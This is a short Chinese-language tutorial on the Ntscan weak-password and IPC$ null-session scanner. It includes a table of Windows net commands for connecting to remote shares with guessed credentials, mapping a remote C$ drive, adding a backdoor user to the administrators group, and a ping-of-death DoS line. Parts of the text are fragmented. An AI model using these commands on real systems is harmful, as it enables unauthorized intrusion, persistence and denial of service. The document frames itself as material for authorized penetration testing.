Ntscan 是一款經典的 Windows 弱口令/空連接掃描器，核心功能：掃描目標 IP 範圍，嘗試建立 IPC$ 空連接或使用字典嘗試弱口令，成功則可進一步映射磁碟、執行命令。屬滲透測試/安全審計工具，嚴禁用於未授權系統。
ntscan.ini (或同目錄字典檔) 填入猜測的用戶名/密碼清單。[+] IP 空連接成功[+] IP 用戶名:密碼 登入成功
4. 對成功目標可右鍵選擇「映射磁碟」、「執行命令」等後續操作。
| 命令 | 用途 | 範例 |
|---|---|---|
net use \\ip\ipc$ "" /user:"" | 建立 IPC$ 空連接 | 測試是否開啟空連接 |
net use \\ip\ipc$ "pass" /user:"user" | 建立非空連接 | 嘗試弱口令 |
net use z: \\ip\c$ "pass" /user:"user" | 映射遠端 C 槽為本地 Z 槽 | 獲得檔案存取權 |
net use \\ip\ipc$ /del | 刪除 IPC 連接 | 清理連接 |
net user user pass /add | 建立本地用戶 | 留後門 (需管理員權限) |
net localgroup administrators user /add | 將用戶加入管理員群組 | 提權 |
net start service | 啟動服務 | 如 net start telnet |
net view \\ip | 查看遠端共享資源 | 偵察 |
nbtstat -A ip | 查看遠端最近登入用戶名 (需 137-139 埠開放) | 資訊收集 |
tracert ip | 路由追蹤 | 網路拓撲 |
ping -t -l 65500 ip | 死亡之 Ping (DoS) | 嚴禁使用 |
tcpip.sys 半開連線數至 1000+)。CrackMapExec, SMBMap, Impacket 套件)。⚠️ 未經書面授權，對非自己擁有/管理的系統進行掃描、嘗試登入、映射磁碟、執行命令，均屬違法 (違反刑法、資安法、電腦犯罪條例等)。
本文僅供安全人員在授權範圍內進行授權滲透測試、內網基線核查、弱口令應急排查使用。請遵守法律、尊重授權、勿作惡用。
Ntscan 是經典 IPC$/弱口令掃描器，操作簡單但功能強大。現代防禦體系 (防火牆、IPS、EDR、強制複雜密碼、帳戶鎖定) 已大幅降低其有效性。安全從業者應轉向更先進的後滲透框架 (Cobalt Strike, Metasploit, Sliver) 並配合完整授權流程作業。
